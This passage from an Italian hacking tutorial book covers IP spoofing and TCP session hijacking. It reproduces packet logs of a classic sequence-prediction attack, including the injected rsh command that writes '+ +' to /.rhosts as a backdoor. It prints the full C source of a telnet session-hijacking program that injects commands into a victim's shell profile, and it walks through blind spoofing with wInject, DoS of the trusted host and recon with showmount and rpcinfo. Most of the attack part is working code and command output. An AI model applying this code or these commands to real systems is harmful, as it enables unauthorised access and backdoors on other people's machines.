Allo stesso modo per cui la porta 513 è una porta privilegiata, server.login può essere
tranquillamente utilizzata come sorgente per un attacco di address spoofing su un "r-
services" di UNIX (rsh, rlogin).
L’indirizzo 130.92.6.97 è un indirizzo casuale (forged) (uno di quelli che non generano
nessuna risposta ai pacchetti inviategli):

14:18:22.516699   130.92.6.97.600   >   server.login:   S   1382726960:1382726960(0)   win   4096
14:18:22.566069   130.92.6.97.601   >   server.login:   S   1382726961:1382726961(0)   win   4096
14:18:22.744477   130.92.6.97.602   >   server.login:   S   1382726962:1382726962(0)   win   4096
14:18:22.830111   130.92.6.97.603   >   server.login:   S   1382726963:1382726963(0)   win   4096
14:18:22.886128   130.92.6.97.604   >   server.login:   S   1382726964:1382726964(0)   win   4096
14:18:22.943514   130.92.6.97.605   >   server.login:   S   1382726965:1382726965(0)   win   4096
14:18:23.002715   130.92.6.97.606   >   server.login:   S   1382726966:1382726966(0)   win   4096
14:18:23.103275   130.92.6.97.607   >   server.login:   S   1382726967:1382726967(0)   win   4096
14:18:23.162781   130.92.6.97.608   >   server.login:   S   1382726968:1382726968(0)   win   4096
14:18:23.225384   130.92.6.97.609   >   server.login:   S   1382726969:1382726969(0)   win   4096
14:18:23.282625   130.92.6.97.610   >   server.login:   S   1382726970:1382726970(0)   win   4096
14:18:23.342657   130.92.6.97.611   >   server.login:   S   1382726971:1382726971(0)   win   4096
14:18:23.403083   130.92.6.97.612   >   server.login:   S   1382726972:1382726972(0)   win   4096
14:18:23.903700   130.92.6.97.613   >   server.login:   S   1382726973:1382726973(0)   win   4096
14:18:24.003252   130.92.6.97.614   >   server.login:   S   1382726974:1382726974(0)   win   4096
14:18:24.084827   130.92.6.97.615   >   server.login:   S   1382726975:1382726975(0)   win   4096
14:18:24.142774   130.92.6.97.616   >   server.login:   S   1382726976:1382726976(0)   win   4096
14:18:24.203195   130.92.6.97.617   >   server.login:   S   1382726977:1382726977(0)   win   4096
14:18:24.294773   130.92.6.97.618   >   server.login:   S   1382726978:1382726978(0)   win   4096
14:18:24.382841   130.92.6.97.619   >   server.login:   S   1382726979:1382726979(0)   win   4096
14:18:24.443309   130.92.6.97.620   >   server.login:   S   1382726980:1382726980(0)   win   4096
14:18:24.643249   130.92.6.97.621   >   server.login:   S   1382726981:1382726981(0)   win   4096
14:18:24.906546   130.92.6.97.622   >   server.login:   S   1382726982:1382726982(0)   win   4096
14:18:24.963768   130.92.6.97.623   >   server.login:   S   1382726983:1382726983(0)   win   4096
14:18:25.022853   130.92.6.97.624   >   server.login:   S   1382726984:1382726984(0)   win   4096
14:18:25.153536   130.92.6.97.625   >   server.login:   S   1382726985:1382726985(0)   win   4096
14:18:25.400869   130.92.6.97.626   >   server.login:   S   1382726986:1382726986(0)   win   4096
14:18:25.483127   130.92.6.97.627   >   server.login:   S   1382726987:1382726987(0)   win   4096
14:18:25.599582   130.92.6.97.628   >   server.login:   S   1382726988:1382726988(0)   win   4096
14:18:25.653131   130.92.6.97.629   >   server.login:   S   1382726989:1382726989(0)   win   4096

Nel caso di quell’attacco Tsutomu identificò 20 tentativi di connessione provenienti da
apollo.it.luc.edu diretti al x-terminal.shell.
Lo scopo di questi tentativi era quello di determinare il comportamento del generatore di
sequenza TCP relativa a x-terminal's.
Dopo aver tentato per 20 volte di connettersi l’attaccante registra i pacchetti che riceve
indietro.
Notate che il numero iniziale incrementa di un unità ad ogni connessione, il che denota che i
pacchetti SYN non vengono generati dall’implementazione TCP del sistema.
Notate anche che I pacchetti SYN-ACK del X-terminal possiedono un analogo incremento:

14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0)
win 4096
14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0)
ack 1382726991 win 4096
14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0)
win 0
14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0)
win 4096
14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0)
ack 1382726992 win 4096
14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0)
win 0




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell:   R 1382726992:1382726992(0)
win 0
14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell:   S 1382726992:1382726992(0)
win 4096
14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998:   S 2022080000:2022080000(0)
ack 1382726993 win 4096
14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell:   R 1382726993:1382726993(0)
win 0
14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell:   S 1382726993:1382726993(0)
win 4096
14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997:   S 2022208000:2022208000(0)
ack 1382726994 win 4096
14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell:   R 1382726994:1382726994(0)
win 0
14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell:   S 1382726994:1382726994(0)
win 4096
14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996:   S 2022336000:2022336000(0)
ack 1382726995 win 4096
14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell:   R 1382726995:1382726995(0)
win 0
14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell:   S 1382726995:1382726995(0)
win 4096
14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995:   S 2022464000:2022464000(0)
ack 1382726996 win 4096
14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell:   R 1382726996:1382726996(0)
win 0
14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell:   S 1382726996:1382726996(0)
win 4096
14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994:   S 2022592000:2022592000(0)
ack 1382726997 win 4096
14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell:   R 1382726997:1382726997(0)
win 0
14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell:   R 1382726997:1382726997(0)
win 0
14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell:   S 1382726997:1382726997(0)
win 4096
14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993:   S 2022720000:2022720000(0)
ack 1382726998 win 4096
14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell:   R 1382726998:1382726998(0)
win 0
14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell:   S 1382726998:1382726998(0)
win 4096
14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992:   S 2022848000:2022848000(0)
ack 1382726999 win 4096
14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell:   R 1382726999:1382726999(0)
win 0
14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell:   S 1382726999:1382726999(0)
win 4096
14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991:   S 2022976000:2022976000(0)
ack 1382727000 win 4096
14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell:   R 1382727000:1382727000(0)
win 0
14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell:   S 1382727000:1382727000(0)
win 4096
14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990:   S 2023104000:2023104000(0)
ack 1382727001 win 4096
14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell:   R 1382727001:1382727001(0)
win 0
14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell:   S 1382727001:1382727001(0)
win 4096
14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989:   S 2023232000:2023232000(0)
ack 1382727002 win 4096
14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell:   R 1382727002:1382727002(0)
win 0
14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell:   S 1382727002:1382727002(0)
win 4096
14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988:   S 2023360000:2023360000(0)
ack 1382727003 win 4096
14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell:   R 1382727003:1382727003(0)
win 0
14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell:   S 1382727003:1382727003(0)
win 4096
14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987:   S 2023488000:2023488000(0)
ack 1382727004 win 4096
14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell:   R 1382727004:1382727004(0)
win 0




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell:    S 1382727004:1382727004(0)
win 4096
14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986:    S 2023616000:2023616000(0)
ack 1382727005 win 4096
14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell:    R 1382727005:1382727005(0)
win 0
14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell:    S 1382727005:1382727005(0)
win 4096
14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985:    S 2023744000:2023744000(0)
ack 1382727006 win 4096
14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell:    R 1382727006:1382727006(0)
win 0
14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell:    S 1382727006:1382727006(0)
win 4096
14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984:    S 2023872000:2023872000(0)
ack 1382727007 win 4096
14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell:    R 1382727007:1382727007(0)
win 0
14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell:    S 1382727007:1382727007(0)
win 4096
14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983:    S 2024000000:2024000000(0)
ack 1382727008 win 4096
14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell:    R 1382727008:1382727008(0)
win 0
14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell:    S 1382727008:1382727008(0)
win 4096
14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982:    S 2024128000:2024128000(0)
ack 1382727009 win 4096
14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell:    R 1382727009:1382727009(0)
win 0
14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell:    S 1382727009:1382727009(0)
win 4096
14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981:    S 2024256000:2024256000(0)
ack 1382727010 win 4096
14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell:    R 1382727010:1382727010(0)
win 0

I numeri sequenziali sono quelli messi in reverse.
Notate che ogni pacchetto SYN-ACK inviato da x-terminal possiede un numero iniziale di
sequenza che è di 128,000 maggiore di quello precedente.
Quando aggiungiamo questo numero magico al numero squenziale riusciamo ad ottenere il
successivo numero sequenziale da usare.
Vediamo ora un SYN forgiato (connection request), presubilmente dal server.login indirizzato
a x-terminal.shell.
L’assunzione è che x-terminal probabilmente rende trust il server server, in modo che x-
terminal possa eseguire qualsiasi cosa che il server richieda (o qualsiasi cosa che venga
richiesto da qualche d’uno mascherato da server) .
x-terminal replica al server con un SYN-ACK, il quale deve essere ACK-ato per fare in modo
che la connessione sia aperta.
Normalmente il numero di sequenza dal SYN-ACK è richiesto al fine di generare un ACK
valido.
Tuttavia l’attaccante è in grado di predire il numero di sequenza contenuto nel SYN-ACK
basato sul comportamentp conosciuto del generatore di seuenze TCP di x-terminal, e quindi
è capace di creare l’ACK al SYN-ACK senza vederlo.:

14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096
14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

La macchina che esegue lo spoofing ora possiede una connessione a una via alla x-
terminal.shell che appare essere del server.login.
Esso può mantenere la connessione e inviare dati a patto che possa creare l’ACK corretto
relativo a qualsiasi dato inviato dal x-terminal.
Questo invia il seguente :

14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096
14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096
14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

il quale corrisponde a:



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"

Il tempo totale passato dal primo pacchetto falsificato è minire di 16 secondi.
La connessione falsificata è ora rilasciata:

14:18:41.347003   server.login   >   x-terminal.shell:     .   ack 2 win 4096
14:18:42.255978   server.login   >   x-terminal.shell:     .   ack 3 win 4096
14:18:43.165874   server.login   >   x-terminal.shell:     F   32:32(0) ack 3 win 4096
14:18:52.179922   server.login   >   x-terminal.shell:     R   1382727043:1382727043(0) win 4096
14:18:52.236452   server.login   >   x-terminal.shell:     R   1382727044:1382727044(0) win 4096

A questo punto le connessioni hal open che riempivano la coda del computer a cui veniva
data fiducia devono essere chiuse mediante l’invio di pacchetti con il flag FIN oppure con
quello RST attivo.
Ora vediamo RSTs a resettare la connessione “mezza aperta” e svuotare la coda relativa
alla connessione con server.login:

14:18:52.298431   130.92.6.97.600     >   server.login:   R   1382726960:1382726960(0)   win   4096
14:18:52.363877   130.92.6.97.601     >   server.login:   R   1382726961:1382726961(0)   win   4096
14:18:52.416916   130.92.6.97.602     >   server.login:   R   1382726962:1382726962(0)   win   4096
14:18:52.476873   130.92.6.97.603     >   server.login:   R   1382726963:1382726963(0)   win   4096
14:18:52.536573   130.92.6.97.604     >   server.login:   R   1382726964:1382726964(0)   win   4096
14:18:52.600899   130.92.6.97.605     >   server.login:   R   1382726965:1382726965(0)   win   4096
14:18:52.660231   130.92.6.97.606     >   server.login:   R   1382726966:1382726966(0)   win   4096
14:18:52.717495   130.92.6.97.607     >   server.login:   R   1382726967:1382726967(0)   win   4096
14:18:52.776502   130.92.6.97.608     >   server.login:   R   1382726968:1382726968(0)   win   4096
14:18:52.836536   130.92.6.97.609     >   server.login:   R   1382726969:1382726969(0)   win   4096
14:18:52.937317   130.92.6.97.610     >   server.login:   R   1382726970:1382726970(0)   win   4096
14:18:52.996777   130.92.6.97.611     >   server.login:   R   1382726971:1382726971(0)   win   4096
14:18:53.056758   130.92.6.97.612     >   server.login:   R   1382726972:1382726972(0)   win   4096
14:18:53.116850   130.92.6.97.613     >   server.login:   R   1382726973:1382726973(0)   win   4096
14:18:53.177515   130.92.6.97.614     >   server.login:   R   1382726974:1382726974(0)   win   4096
14:18:53.238496   130.92.6.97.615     >   server.login:   R   1382726975:1382726975(0)   win   4096
14:18:53.297163   130.92.6.97.616     >   server.login:   R   1382726976:1382726976(0)   win   4096
14:18:53.365988   130.92.6.97.617     >   server.login:   R   1382726977:1382726977(0)   win   4096
14:18:53.437287   130.92.6.97.618     >   server.login:   R   1382726978:1382726978(0)   win   4096
14:18:53.496789   130.92.6.97.619     >   server.login:   R   1382726979:1382726979(0)   win   4096
14:18:53.556753   130.92.6.97.620     >   server.login:   R   1382726980:1382726980(0)   win   4096
14:18:53.616954   130.92.6.97.621     >   server.login:   R   1382726981:1382726981(0)   win   4096
14:18:53.676828   130.92.6.97.622     >   server.login:   R   1382726982:1382726982(0)   win   4096
14:18:53.736734   130.92.6.97.623     >   server.login:   R   1382726983:1382726983(0)   win   4096
14:18:53.796732   130.92.6.97.624     >   server.login:   R   1382726984:1382726984(0)   win   4096
14:18:53.867543   130.92.6.97.625     >   server.login:   R   1382726985:1382726985(0)   win   4096
14:18:53.917466   130.92.6.97.626     >   server.login:   R   1382726986:1382726986(0)   win   4096
14:18:53.976769   130.92.6.97.627     >   server.login:   R   1382726987:1382726987(0)   win   4096
14:18:54.039039   130.92.6.97.628     >   server.login:   R   1382726988:1382726988(0)   win   4096
14:18:54.097093   130.92.6.97.629     >   server.login:   R   1382726989:1382726989(0)   win   4096

server.login ra può accettare connessioni.
Dopo che è stata acquisito l’accesso come root grazie all’ IP address spoofing, un modulo
kernel chiamato "tap-2.01" viene compilato e installato su x-terminal:

x-terminal% modstat
Id Type Loadaddr              Size        B-major   C-major        Sysnum    Mod Name
 1 Pdrv ff050000              1000                    59.                    tap/tap-2.01 alpha

x-terminal% ls -l /dev/tap
crwxrwxrwx 1 root       37,           59 Dec 25 14:40 /dev/tap

Questo appare essere un modulo del kernel STREAMS il quale può essere inserito all’interno
dello STREAMS stack esistente e usato per acquisire il controllo di un tty device.
Questo viene usato per prendere il controllo di una sessione di login già autenticata.
Questa tecnica viene anche chiamata Hijacking.
Il seguente programma in C è l’esempio di questa tecnica.

/**************************************************************************/
/* Hijack - Example program on connection hijacking with IP spoofing      */
/*               (illustration for 'A short overview of IP spoofing')     */



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

/*                                                                        */
/* Purpose - taking control of a running telnet session, and executing    */
/*            our own command in that shell.                              */
/*                                                                        */
/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                    */
/*           Serious advice, comments, statements, greets, always welcome */
/*           flames, moronic 3l33t >/dev/null                             */
/*                                                                        */
/* Disclaimer - This program is for educational purposes only. I am in    */
/*               NO way responsible for what you do with this program,    */
/*               or any damage you or this program causes.                */
/*                                                                        */
/* For whom - People with a little knowledge of TCP/IP, C source code     */
/*             and general UNIX. Otherwise, please keep your hands of,    */
/*             and catch up on those things first.                        */
/*                                                                        */
/* Limited to - Linux 1.3.X or higher.                                    */
/*               ETHERNET support ("eth0" device)                         */
/*               If you network configuration differs it shouldn't be to */
/*               hard to modify yourself. I got it working on PPP too,    */
/*               but I'm not including extra configuration possibilities */
/*               because this would overload this first release that is   */
/*               only a demonstration of the mechanism.                   */
/*               Anyway if you only have ONE network device (slip,        */
/*               ppp,... ) after a quick look at this code and spoofit.h */
/*               it will only take you a few secs to fix it...            */
/*               People with a bit of C knowledge and well known with     */
/*               their OS shouldn't have to much trouble to port the code.*/
/*               If you do, I would love to get the results.              */
/*                                                                        */
/* Compiling - gcc -o hijack hijack.c                                     */
/*                                                                        */
/* Usage - Usage described in the spoofing article that came with this. */
/*          If you didn't get this, try to get the full release...        */
/*                                                                        */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/

#include "spoofit.h"          /* My spoofing include.... read licence on this
*/

/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode                                                     */
#define INTERFACE         "eth0" /* first ethernet device           */
#define INTERFACE_PREFIX   14          /* 14 bytes is an ethernet header */

#define PERSONAL_TOUCH             666

int fd_receive, fd_send;
char CLIENT[100],SERVER[100];
int CLIENT_P;

void main(int argc, char *argv[])
{
int i,j,count;
struct sp_wait_packet attack_info;
unsigned long sp_seq ,sp_ack;
unsigned long old_seq ,old_ack;
unsigned long serv_seq ,serv_ack;

/* This data used to clean up the shell line */
char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a};
char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n";

if(argc!=4)
       {
       printf("Usage: %s client client_port server\n",argv[0]);
       exit(1);



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

       }
strcpy(CLIENT,argv[1]);
CLIENT_P=atoi(argv[2]);
strcpy(SERVER,argv[3]);

/* preparing all necessary sockets (sending + receiving) */
DEV_PREFIX = INTERFACE_PREFIX;
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */

printf("Starting Hijacking demo - Brecht Claerhout 1996\n");
printf("-----------------------------------------------\n");

for(j=0;j<50;j++)
   {
   printf("\nTakeover phase 1: Stealing connection.\n");
      wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|
PSH,0);
   sp_seq=attack_info.seq+attack_info.datalen;
   sp_ack=attack_info.ack;
   printf(" Sending Spoofed clean-up data...\n");
        transmit_TCP(fd_send,    to_data,0,0,sizeof(to_data),CLIENT,   CLIENT_P,
SERVER,23,
                                                              sp_seq,sp_ack,ACK|
PSH);
/* NOTE: always beware you receive y'r OWN spoofed packs! */
/*          so handle it if necessary                          */
   count=0;
   printf(" Waiting for spoof to be confirmed...\n");
   while(count<5)
         {
         wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
         if(attack_info.ack==sp_seq+sizeof(to_data))
                count=PERSONAL_TOUCH;
         else count++;
         };
   if(count!=PERSONAL_TOUCH)
         {printf("Phase 1 unsuccesfully ended.\n");}
   else {printf("Phase 1 ended.\n"); break;};
   };

printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
count=serv_seq=old_ack=0;
while(count<10)
       {
       old_seq=serv_seq;
       old_ack=serv_ack;
       wait_packet(fd_receive,&attack_info,SERVER,    23,   CLIENT,   CLIENT_P,
ACK,0);
       if(attack_info.datalen==0)
          {
          serv_seq=attack_info.seq+attack_info.datalen;
          serv_ack=attack_info.ack;
            if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
               count=PERSONAL_TOUCH;
          else count++;
            }
       };
if(count!=PERSONAL_TOUCH)
       {printf("Phase 2 unsuccesfully ended.\n"); exit(0);}
printf(" Server SEQ: %X (hex)       ACK: %X (hex)\n",serv_seq,serv_ack);
printf("Phase 2 ended.\n");

printf("\nTakeover phase 3: Sending MY data.\n");
printf(" Sending evil data.\n");
transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
            SERVER,23,serv_ack,serv_seq,ACK|PSH);
count=0;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

printf(" Waiting for evil data to be confirmed...\n");
while(count<5)
       {
       wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
       if(attack_info.ack==serv_ack+sizeof(evil_data))
              count=PERSONAL_TOUCH;
       else count++;
       };
if(count!=PERSONAL_TOUCH)
       {printf("Phase 3 unsuccesfully ended.\n"); exit(0);}
printf("Phase 3 ended.\n");

}




Uso di wJniect nello spoofing
Inutile dire che questa di fatto sia una tecnica complessa per cui l’uso di qualche utility
potente potrebbe semplificare la vita.
Nei capitoli precedenti, quando abbiamo visto alcuni pacchetti usati dagli hackers, abbiamo
parlato di wInject un pacchetto particolarmente potente per quello che riguarda l’iniezione di
pacchetti manipolati sulla rete.
Parlando di spoofing abbiamo visto che generalmente ci sono in gioco 3 entità alla quale
potremmo anche aggiungerne una quarta.
I primi tre erano :

A:      Target Host
B:      Trusted Host
Z:      Attacking Host

Il quarto possiamo considerarlo quelli irraggiungibile.

X:      Unreachable Host

Prima abbiamo già spiegato il concetto ma in ogni caso penso che possiamo rivederlo in un
altro modo.
Sicuramente per concetti complessi come nel caso dello spoofing non sono mai parole
sciupate.
Abbiamo anche detto che negli ambienti Unix la creazione di relazioni TRUST possono
essere fatte facilmente.
Per fare questo supponiamo di avere un account sulla macchina A: e sulla macchina B:
Al fine di facilitare le comunicazioni tra le due vogliamo creare una connessione full duplex
legata ad una relazione trust.
Nella home directory di A: creiamo il file .rhost
Nella directory home di B: invece ecreaamo un altro file .rhost.
A questo punto possiamo utilizzare i vari comandi “r”(login, ecc.) senza dover usare tutte le
volte un meccanismo di autenticazione.
Uno dei vari comandi “r” è appunto rlogin .
Questo è un protocollo basato su una connessione client-server utilizzante TCP come
metodo di trasporto.
login permette ad un utente remoto di eseguire un login tra un host ed un altro senza dover
tutte le volte inserire la password.
Il discorso sul meccanismo di handshake di questo protocollo lo abbiamo visto nelle pagine
precedenti.
Il problema quindi sarebbe ora quello di usare una utility in grado di creare pachetti con
contenuti manipolabili.
Precedentemente abbiamo riportato due sorgenti in grado di svolgere delle funzioni
nell’ambito dello spoofing.
Nei capitoli precedentei abbiamo anche visto come COMMVIEW è in grado di eseguire la
costruzione di alcuni pacchetti ma sicuramente la manipolazione di questi mediante questo




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

software è abbastanza complesso in quanto di fatto questo non ci mantiene un mappa visiva
dei vari campi dell’header in cui dobbiamo inserire i valori da inviare ai vari host.
WInject permette invece di eseguire diversi passi nell’ambito di tutti quelli che devono essere
fatti per eseguire un attacco di spoofing.
Per prima cosa wInject sceglie un host di destinazione e successivamente scopre una
struttura di trust in relazione ad un host trusted.
Una volta appurata questa struttura relativa all’host certficato e a quello certificante wInject
disabilita l’host certificato, quello trusted, e cerca di campinare i numeri di seuqneza TCP.
A questo punto sempre wInject può essere utile per impersonare l’host trusted, indivinare il
numero d sequenza ed eseguire una connessione con un servizio che a questo punto
richiede solo più un autenticazione basata sull’indirizzo.
Se tutta questa sequenza di operazioni è eseguita correttamente da wInject allora l’attaccante
potrà inserire qualche backdoor dentro al sistema vittima.
La cosa sembra semplice ma anche se di fatto non lo è wInject semplifica sufficientemente le
cose.
Uno dei fattori che complicano la vita nell’ IP Spoofing è che l’attacco è cieco.
La prima fase è legata ad un esecuzione di una procedura relativa ad un Denial of Service
ovvero mediante wInject vengono forgiati dei pacchetti indirizzati all’host trusted mediante
datagrammi UDP.
L’attacante nel caso dei datagrammi sa soltanto che questi raggiungeranno l’host ma tutto il
procedimento deve essere fatto alla cieca.
In pratica non sarà mai possibile sapere che cosa spedisce indietro l’host a cui si stanno
inviando i pacchetti ma deve slo immaginarlo.
Un altro fatto che l’attaccante deve sapere è se di fatto un host possiede qualche relazione
trust in quanto se cosi non fosse è chiaro che un attacco sarebbe completamente inutile.
Sapere questo è relativamente semplice in qanto questo potrebbe essere fatto tramite un
comando

showmount -e

Ad esempio :

$ showmount -e www.target.com

Export list for www.target.com:
/ (anonymous)

il quale viene utilizzato per sapere dove i filesystem vengono esportati.
Per ricavare altre informazioni può essere utilizzato

rpcinfo

Un esempio di output è quello che segue :

$ rpcinfo -p www.target.com

     program vers proto           port
     100000    3   udp            111     portmapper
     100000    2   udp            111     portmapper
     100000    3   tcp            111     portmapper
     100000    2   tcp            111     portmapper
     100003    2   udp           2049     nfs
     100003    3   udp           2049     nfs
     100024    1   udp            808     status
     100024    1   tcp            810     status
     100021    1   udp           2049     nlockmgr
     100021    3   udp           2049     nlockmgr
     100021    4   udp           2049     nlockmgr
     100021    1   tcp           2049     nlockmgr
     100021    3   tcp           2049     nlockmgr



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

     100021          4    tcp      2049      nlockmgr
     100005          1    tcp      1058      mountd
     100005          1    udp      1036      mountd
     391004          1    tcp      1063
     391004          1    udp      1037
     100001          1    udp      1038      rstatd
     100001          2    udp      1038      rstatd
     100001          3    udp      1038      rstatd
     100000          3    udp       111      portmapper
     100000          2    udp       111      portmapper
     100000          3    tcp       111      portmapper
     100000          2    tcp       111      portmapper
     100003          2    udp      2049      nfs
     100003          3    udp      2049      nfs
     100024          1    udp       808      status
     100024          1    tcp       810      status
     100021          1    udp      2049      nlockmgr
     100021          3    udp      2049      nlockmgr
     100021          4    udp      2049      nlockmgr
     100021          1    tcp      2049      nlockmgr
     100021          3    tcp      2049      nlockmgr
     100021          4    tcp      2049      nlockmgr
     100005          1    tcp      1058      mountd
     100005          1    udp      1036      mountd
     391004          1    tcp      1063
     391004          1    udp      1037
     100001          1    udp      1038      rstatd
     100001          2    udp      1038      rstatd
     100001          3    udp      1038      rstatd
     391002          1    tcp      1070
     100083          1    tcp      1073


Una volta che viene individividuato l’host trusted questo deve essere disabilitato, come
abbiamo detto prima, mediante una procedura DOS ovvero inviando un flusso di TCP SYN.


TCP/IP Sequenze Attack
Spesso esiste una grossa confusione tra quelle che sono le tecniche di spoofing e quelle che
vengono definite come attacchi connection hijacking
Nei capitoli precedenti abbiamo visto i vari protocolli e i formati dei pacchetti relativi a questi.
In particolar modo per quello che riguarda l’argomento di questo capitolo è interessante
rivedere l’header dei pacchetti TCP.
Questo è costituito da almeno 20 BYTEs suddivisi tra diversi campi.
I campi utilizzati per l’esecuzione delle tecniche di spoofing sono precisamente i seguenti:

         TCP


0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
                Source Port                                      Destination Port
                                           Sequence Number
                                        Acknowledgement Number
  D.
          Reserved            Control                                Window
Offset
                 Checksum                                        Urgent Pointer
                                          Options                                          Padding


•   Il campo relativo alla porta sorgente (16 bits)



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

•   Il campo relativo alla porta di destinazione (16 bits)
•   Il numero di sequenza (sequenze number di 32 bits)
•   Acknowledgemnt number (32 bits)
•   Windows size (16 bits)
•   Diversi flag : Flag SYN, Flag ACK, Flag FIN e Flag RST

Gli steps per creare una connessione tramite il protocollo TCP sono in pratica tre :

1 – Viene spedito un pacchetto TCP con il flag SYN impostato, ACK a zero e un valore X nel
sequence number
2 – Il server risponde con tutti e due i flag SYN e ACK impostati e con il SEQUENCE
NUMBER impostato con un valore Y e Acknowledgment a valore X.
3 – Il client risponde con il flag ACK, con il SEQUENXE NUMBER a X+1 e con
ACKNOWLEDGMENT a Y+1

Volendolo raffigurare in formato grafico potremmo farlo con :


               SYN=1 ACK=0 SEQ-NUM=X
CLIENT ----------------------------------- > SERVER

        SYN=1 ACK=1 SEQ-NUM=X ACK-NUM=X+1
CLIENT ----------------------------------- SERVER

           ACK=1 SEQ=-NUM=X+1 ACK-NUM=Y+1
CLIENT ----------------------------------- SERVER


Soltanto dopo che la connessione è stata inizializzata allora sarà possibile trasmettere i dati.
Il protocollo TCP possiede dei meccanismi mediante i quali può eseguire le funzionalità
classiche dei protocolli a finestre rotanti.
In altre parole penso che sia inutile dire che una delle funzioni principali di questi è di fatto il
recupero dele informazioni giunte con errori interni.
Chiaramente un'altra problematica è quella legata al riassemblaggio delle finestre giunte con
sequenze differenti da quella puramente sequenziale.
